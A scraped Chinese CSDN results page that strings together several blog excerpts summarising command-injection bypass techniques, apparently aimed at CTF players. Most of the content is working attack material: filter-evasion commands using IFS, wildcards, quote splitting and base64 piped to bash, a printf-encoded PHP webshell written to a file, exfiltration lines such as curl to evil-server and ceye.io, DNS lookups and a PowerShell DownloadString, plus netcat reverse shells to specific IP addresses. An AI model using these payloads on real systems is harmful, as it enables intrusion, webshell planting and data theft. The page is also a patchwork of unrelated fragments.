精华内容
下载资源
问答
  • 命令注入总结

    2019-05-21 09:28:48
    https://wywwzjj.top/2019/05/12/命令注入绕过总结/ 直接执行代码 PHP 中有不少可以直接执行代码的函数。 eval(); assert(); system(); exec(); shell_exec(); passthru(); escapeshellcmd(); pcntl_exec(); preg_...

    前往个人博客阅读,提升阅读体验
    https://wywwzjj.top/2019/05/12/命令注入绕过总结/

    直接执行代码

    PHP 中有不少可以直接执行代码的函数。

    eval();
    assert();
    system();
    exec();
    shell_exec();
    passthru();
    escapeshellcmd();
    pcntl_exec();
    

    preg_replace( ) 代码执行

    preg_replace() 的第一个参数如果存在 /e 模式修饰符,则允许代码执行。

    <?php
        $var = "<tag>phpinfo()</tag>";
    	preg_replace("/<tag>(.*?)<\/tag>/e", "addslashes(\\1)", $var);
    ?>
    

    若无 /e 修饰符,则可以尝试 %00 截断。

    重定向

    • cmd > file
      把cmd命令的输出重定向到文件file中。如果file已经存在,则清空原有文件,使用bash的noclobber选项可以防止复盖原有文件。

    • cmd >> file
      把cmd命令的输出重定向到文件file中,如果file已经存在,则把信息加在原有文件后面。

    • cmd < file
      使cmd命令从file读入

    • cmd << text
      从命令行读取输入,直到一个与text相同的行结束。除非使用引号把输入括起来,此模式将对输入内容进行shell变量替换。如果使用<<- ,则会忽略接下来输入行首的tab,结束行也可以是一堆tab再加上一个与text相同的内容,可以参考後面的例子。

    • cmd <<< word
      把word(而不是文件word)和后面的换行作为输入提供给cmd。

    • cmd <> file
      以读写模式把文件file重定向到输入,文件file不会被破坏。仅当应用程序利用了这一特性时,它才是有意义的。

    • cmd >| file
      功能同>,但即便在设置了noclobber时也会复盖file文件,注意用的是|而非一些书中说的!,目前仅在csh中仍沿用>!实现这一功能。

    • : > filename

      把文件filename截断为0长度。如果文件不存在, 那么就创建一个0长度的文件(与touch的效果相同).

    • cmd >&n

      把输出送到文件描述符n

    • cmd m>&n

      把输出到文件符m的信息重定向到文件描述符n

    • cmd >&-

      关闭标准输出

    • cmd <&n

      输入来自文件描述符n

    • cmd m<&n

      m来自文件描述各个n

    • cmd <&-

      关闭标准输入

    • cmd <&n-

      移动输入文件描述符n而非复制它。

    • cmd >&n-

      移动输出文件描述符n而非复制它。
      注意: >&实际上复制了文件描述符,这使得cmd > file 2>&1cmd 2>&1 >file的效果不一样。

    读文件

    cat flag /{cat,flag}
    more flag
    less flag
    bzmore flag
    bzless flag
    head flag
    tail flag
    tailf flag 
    tac flag
    nl flag
    od -a flag
    
    fire flag
    wc flag
    uniq flag
    diff flag flag1.txt
    sed -n '1,2p' flag
    find -P flag
    strings flag
    curl file:///root/flag
    sort flag
    bash -v flag 
    rev flag
    paste ./flag.txt /etc/passwd
    

    Bypass

    多条命令

    %0a、%0d    换行符与回车符
    |           第一条命令结果作为第二条命令的输入
    ||          第一条执行失败,执行第二条命令
    ;           连续指令功能。
    &           连接的两条命令都会执行
    &&          当第一条执行成功后执行后续命令
    
    echo 666`date` => 666Tue 14 May 2019 07:15:23 AM EDT
    
    # Windows
    Copy %0a
    
    %1a - 一个神奇的角色,作为.bat文件中的命令分隔符
    <?php
        $command = 'dir '.$_POST['dir'];
        $escaped_command = escapeshellcmd($command);
        file_put_contents('out.bat',$escaped_command);
        system('out.bat');
    ?>
    

    绕过 escapeshellcmd

    • win 下执行 bat
    <?php
    $command = 'dir '.$_POST['dir'];
    $escaped_command = escapeshellcmd($command);
    var_dump($escaped_command);
    file_put_contents('out.bat',$escaped_command);
    system('out.bat');
    

    执行.bat文件的时候,利用%1a,可以绕过过滤执行命令。

    dir=../ %1a whoami
    

    空格

    • ${IFS}
    cat${IFS}flag
    cat${IFS}$9flag
    cat$IFS$9flag
    cat%09flag  # \0x09 是 TAB
    
    • 重定向符<>
    cat<>flag
    cat<flag
    

    黑名单绕过

    • 拼接
    a=c;b=at;c=flag;$a$b $c
    
    • 利用已存在的资源

    从已有的文件或者环境变量中获得相应的字符。

    • 编码
    `echo "Y2F0IGZsYWc="|base64 -d`
    echo "Y2F0IGZsYWc="|base64 -d|bash
    
    $(printf "\x63\x61\x74\x20\x66\x6c\x61\x67")
    
    #可以通过这样来写webshell,内容为<?php @eval($_POST['c']);?>
    $ {printf,"\74\77\160\150\160\40\100\145\166\141\154\50\44\137\120\117\123\124\133\47\143\47\135\51\73\77\76"} >> 1.php
    
    • 单引号、双引号
    c""at fl''ag
    c'a't f'l'ag
    
    • 反斜线 \
    c\at fl\ag
    
    • 通配符
    /?in/?s => ls
    
    * 0到无穷个任意字符
    ? 一个任意字符
    [ ] 一个在括号内的字符,e.g. [abcd]
    [ - ] 在编码顺序内的所有字符
    [^ ] 一个不在括号内的字符
    [! ] 同 ^
    cat fl[0-z]g
    
    echo d{a,e,i,u,o}g => dag deg dig dug dog
    echo {fl,fla}{ag,g} => flag flg flaag flag
    echo fl{0..z}g => fl1g,fl2g,...,flyg,flzg
    
    花括号拓展{OS_COMMAND,ARGUMENT}
    在Linux bash中还可以使用{cat,/etc/passwd}来绕过
    这里没实验成功
    
    • 未定义变量
    cat$x /etc/passwd
    
    • 可变函数
    (sy.(st).em)(whoami)
    $_GET[a]($_GET[b].$_GET[c])
    
    获取内置函数 system 的索引后,直接执行
    get_defined_functions()[internal] | grep ststem
    get_defined_functions()[internal][381](whoami)
    
    • $@
    $ c$@at fl$@ag
    flag{xxx}
    
    $ echo i$@d
    id
    
    $ i$@d
    uid=1000(wywwzjj) gid=1000(wywwzjj) groups=1000(wywwzjj)
    
    $ echo i$@d|$0
    uid=1000(wywwzjj) gid=1000(wywwzjj) groups=1000(wywwzjj)
    
    $ echo {nc,47.101.220.241,2333}|$0
    直接连 nc 了。。。$0 好牛逼?
    $0 就相当于 bash 另外 $n 表示命令行第 n 个参数
    
    $ $0<<<i$@d
    uid=1000(wywwzjj) gid=1000(wywwzjj) groups=1000(wywwzjj)
    
    • 利用已经存在的资源
    $ echo $PATH
    /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
    
    $ echo $PATH| cut -c 1
    /
    
    $ echo $PATH| cut -c 1-4
    /usr
    
    • ${PS2} 对应字符 ‘>’
    • ${PS4} 对应字符 ‘+’
    • ${IFS} 对应 内部字段分隔符
    • ${9} 对应 空字符串

    无回显

    • 弹 shell

    • DNS 外带数据

    curl "http://testhash.test.dnslog.link/?`whoami`"
    
    • HTTP 外带
    # linux
    curl http://evil-server/`whoami`
    wget http://evil-server/$(whoami)
    curl xxxx.ceye.io/`whoami`
    curl http://xxxx.ceye.io/$(id|base64)
    ping -c 1 `whoami`.xxxx.ceye.io
    
    # windows
    http:
    for /F %x in ('whoami') do start http://xxx.ceye.io/%x
    dns请求:
    获取计算机名:for /F "delims=" %i in ('whoami') do ping -n 1 %i.xxx.dnslog.info
    获取用户名:for /F "delims= tokens=2" %i in ('whoami') do ping -n 1 %i.xxx.dnslog.info
    
    for /F %x in ('whoami') do powershell $a=[System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes('%x'));$b=New-Object System.Net.WebClient;$b.DownloadString('http://xxx.ceye.io/'+$a);
    

    长度限制

    • 文件构造(参考橘子那个 hitcon)
    >w
    将会创建一个名字为 w 的空文件。
    

    工具

    参考链接

    巧用命令注入的 N 种姿势

    https://chybeta.github.io/2017/08/15/%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E7%9A%84%E4%B8%80%E4%BA%9B%E7%BB%95%E8%BF%87%E6%8A%80%E5%B7%A7/

    展开全文
  • 前言命令注入是web中常见的漏洞之一,由于web应用程序未对用户提交的数据做严格的过滤,导致用户输入可以直接被linux或windows系统当成命令执行,一般都会造成严重的危害。常用符号分号(;)多条语句顺序执行时的分割...

    前言

    命令注入是web中常见的漏洞之一,由于web应用程序未对用户提交的数据做严格的过滤,导致用户输入可以直接被linux或windows系统当成命令执行,一般都会造成严重的危害。

    常用符号

    分号(;)

    多条语句顺序执行时的分割符号。

    1
    cmd1;cmd2

    管道符(|)

    cmd1命令的输出,作为下一条命令cmd2的参数。

    1
    cmd1|cmd2

    and(&&)

    与命令,cmd1成功则执行cmd2,cmd1失败则不执行cmd2

    1
    cmd1 && cmd2

    or(||)

    或命令,cmd1失败则执行cmd2,cmd1成功则不执行cmd2

    1
    cmd1 || cmd2

    反引号()和$()

    反引号和$()都可用来表示命令,被这两种方式包含的字符串都会被当做命令首先执行。

    12
    echo "result : `whoami`"echo "result : $(whoami)"

    绕过方式总结

    空格绕过

    在过滤了空格的系统中,以cat flag.txt为例,系统不允许我们输入空格或输入后被过滤。

    ${IFS}

    可使用${IFS}代替空格。

    123
    cat${IFS}flag.txtcat$IFS$1flag.txtcat${IFS}$1flag.txt

    重定向符绕过(<>)

    12
    cat<>flag.txtcat

    %09(需要php环境)

    php环境下web输入%09等效于空格

    1
    cat%09flag.txt

    黑名单绕过

    拼接

    使用shell变量拼接被黑名单限制的关键词

    1
    a=c;b=at;c=fl;d=ag;e=.txt;$a$b $c$d$e;

    base64

    使用反引号包含base64解码后的命令

    1
    `echo "Y2F0IGZsYWcudHh0Cg==" | base64 -d`

    将base64解码后的命令通过管道符传递给bash

    1
    echo "Y2F0IGZsYWcudHh0Cg==" | base64 -d | bash

    单引号,双引号

    1
    c""at fl''ag.tx""t

    反斜杠

    1
    c\at fl\a\g.tx\t

    $1

    1
    ca$1t fl$1ag.t$1xt

    读文件绕过

    123456789101112
    (1)more:一页一页的显示档案内容(2)less:与 more 类似,但是比 more 更好的是,他可以[pg dn][pg up]翻页(3)head:查看头几行(4)tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示(5)tail:查看尾几行(6)nl:显示的时候,顺便输出行号(7)od:以二进制的方式读取档案内容(8)vi:一种编辑器,这个也可以查看(9)vim:一种编辑器,这个也可以查看(10)sort:可以查看(11)uniq:可以查看(12)file -f:报错出具体内容

    通配符绕过

    /???会去寻找 / 目录下的三个字符长度的文件,正常情况下会寻找到/bin,然后/?[a][t]会优先匹配到/bin/cat,就成功调用了cat命令,然后后面可以使用正常的通配符匹配所需读的文件,如flag.txt文件名长度为8,使用8个?’’,此命令就会读取所有长度为8的文件。

    1
    /???/?[a][t] ?''?''?''?''?''?''?''?''

    同理,我们也可以匹配/bin下的其他命令,如more,less,vi,tail等命令来查看文件,或者执行其他命令。

    1
    /???/[m][o]?[e] ?''?''?''?''?''?''?''?''
    1
    /???/[t]?[i][l] ?''?''?''?''?''?''?''?''

    甚至开启一个shell

    1
    /???/[n]?[t]??[t] -lvp 4444
    1
    /???/[n]?[t]??[t] 192.168.1.3 4444

    命令嵌套

    1
    echo "result:`whoami`"
    1
    echo "result:$(uname -a)"

    长度绕过

    使用>>绕过长度限制

    使用>>每次添加一部分命令到文件中

    1234
    echo -n "cmd1" > r;echo -n "cmd2" >> r;echo -n "cmd3" >> r;echo "cmd4" >> r;

    然后使用cat r | bash执行命令

    使用换行执行和ls -t绕过长度限制

    linux中,文件中的命令如果需要换行书写,需要在前一行末尾增加\,如文件a中有

    123
    ca\t flag.t\xt

    使用sh a即可执行命令cat flag.txt

    ls -t可根据时间创建顺序逆序输出文件名

    a可以创建一个名为a的文件

    按照这个思路,可以使用

    1234
    > "ag"> "fl\\"> "t \\"> "ca\\"

    然后使用ls -t > s

    s中文件内容就是

    123456
    sca\t \fl\ag\其他的无关内容

    之后使用sh s,即可执行cat flag

    作者:Leticia,来源:Leticia's Blog


    扫描关注乌云安全

    617f504f89a9523b748bc8c5c48410fc.png

    觉得不错点个“赞”、“在看”哦

    展开全文
  • 命令注入漏洞总结

    千次阅读 2018-08-03 23:43:00
    前言 漏洞本身原理很简单,用户的输入作为 要执行命令的一部分被 一些执行系统命令的函数去执行,如果不注意就能够让攻击者执行系统命令。 正文 相关的工具 https://github.com/ewilded/shelling ...

    前言

    漏洞本身原理很简单,用户的输入作为 要执行命令的一部分被 一些执行系统命令的函数去执行,如果不注意就能够让攻击者执行系统命令。

    正文

    相关的工具

    https://github.com/ewilded/shelling
    https://github.com/commixproject/commix

    测试环境

    win 10 phpstudy
    https://github.com/commixproject/commix-testbed/
    部署在 http://test.commix.top

    一个最简单的例子

    /scenarios/regular/GET/classic.php

    006daSSqgy1fyhy2zn4f5j30kl073mxp.jpg

    或取 $_GET['addr']ping 拼接后 由 exec 执行。这种毫无防护的命令注入利用的方式有很多。比如利用 &, &&, | , ||, ;

    这里用 www.baidu.com & whoami

    006daSSqgy1fyhy38nvx6j30qg0ft757.jpg

    使用 commix 来探测

    python commix.py -u "http://test.commix.top/scenarios/regular/GET/classic.php?addr=www.baidu.com"

    006daSSqgy1fyhy3jwsc0j311q0dfjsb.jpg

    绕过正则表达式

    /scenarios/regular/GET/preg_match.php

    006daSSqgy1fyhy3ocdgqj30qc08o3zd.jpg

    他这里匹配了 ip 地址的格式。 首尾都匹配了,看似无法注入命令了。不过正则表达式匹配时不会跨行匹配,所以 我们 可以用 \n 来绕过匹配

    127.0.0.1\ncommand

    006daSSqgy1fyhy3wdro2j30ha07mq2s.jpg

    006daSSqgy1fyhy42qluzj30yj0a9wg9.jpg

    更多请看:

    https://www.anquanke.com/post/id/84920

    https://chybeta.gitbooks.io/waf-bypass/content/ming-ling-zhu-ru/rao-guo-fang-fa.html

    http://findneo.tech/171110Bypass4CLimit/

    转载于:https://www.cnblogs.com/hac425/p/9416951.html

    展开全文
  • 命令注入

    2015-07-05 19:29:00
    命令注入总结? apk一定要签名吗? xxe注入? android环境搭建? 转载于:https://www.cnblogs.com/Gaea5/p/4622850.html

    命令注入总结?

    apk一定要签名吗?

    xxe注入?

    android环境搭建?

    转载于:https://www.cnblogs.com/Gaea5/p/4622850.html

    展开全文
  • 前言命令注入是web中常见的漏洞之一,由于web应用程序未对用户提交的数据做严格的过滤,导致用户输入可以直接被linux或windows系统当成命令执行,一般都会造成严重的危害。常用符号分号(;)多条语句顺序执行时的分割...
  • 注入总结:mysql+mssql手工注入常用命令总结阅读数:5280欢迎使用Markdown编辑器写博客判断数据库类型: Access: and (select id from MSysAccessObjects) &gt;0 返回正常说明是access MSSQL: and (select id...
  • 命令注入绕过技巧总结 命令注入是一个安全漏洞,它使攻击者可以在易受攻击的应用程序中执行任意命令。 基本命令 root@micr067:~# cat /etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/...
  • 文章目录第一章 原理以及成因第二章·漏洞危害第三章 相关函数第一节 system()第二节 exec()第三节 ...防御方法第六章 DVWA第一节 low命令注入第二节 medium命令注入 第一章 原理以及成因 程序员使用脚本语言(比...
  • 01 命令注入之简介 类型:服务器端漏洞 02 命令注入的三个条件 1.调用可执行系统命令的函数 2.函数或函数的参数可控 3.拼接注入命令 03 命令注入的攻击过程 1.构造命令 2.拼接命令,执行注入的命令 3.结果回显 ...
  • //若过滤了"" '', 可用not in ('字段')代替 //若过滤了<>,可用!=代替 1. 表名爆破 //返回一条数据 ...and 1=ctxsys.drithsx.sn(1,(select table_name from user_tables where rownum=1)) ...
  • OS命令注入翻译文章,原文:OS command injection[1]在本节中,我们将解释什么是OS命令注入,描述如何检测和利用漏洞,阐述适用于不同操作系统的一些有用的命令和技术,并总结如何防止OS命令注入。什么OS命令注入?...
  • Oracle SQL注入命令总结

    2011-01-12 13:24:55
    以下的演示都是在web上的sql plus执行的,在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成 /xxx.jsp?id=1 and ''1''<>''a''||(select SYS.DBMS_EXPORT_EXTENSION.....) 的形式即可。(用" ''a''|| ...
  • SQL注入总结

    2020-11-11 15:00:42
    SQL注入总结一、SQL注入漏洞介绍二、修复建议三、通用姿势四、具体实例五、各种绕过 一、SQL注入漏洞介绍 SQL注入攻击包括通过输入数据从客户端插入或“注入”SQL查询到应用程序。一个成功的SQL注入攻击可以从数据库...
  • 命令注入命令注入命令注入的条件DVWA的命令注入漏洞总结这几个难度漏洞并审计漏洞解决方法 命令注入 命令:这个命令指的是操作系统的命令。 命令注入:就是通过web程序,在服务器上拼接系统的命令。有些网站对这些有...

空空如也

空空如也

1 2 3 4 5 ... 19
收藏数 371
精华内容 148
关键字:

命令注入总结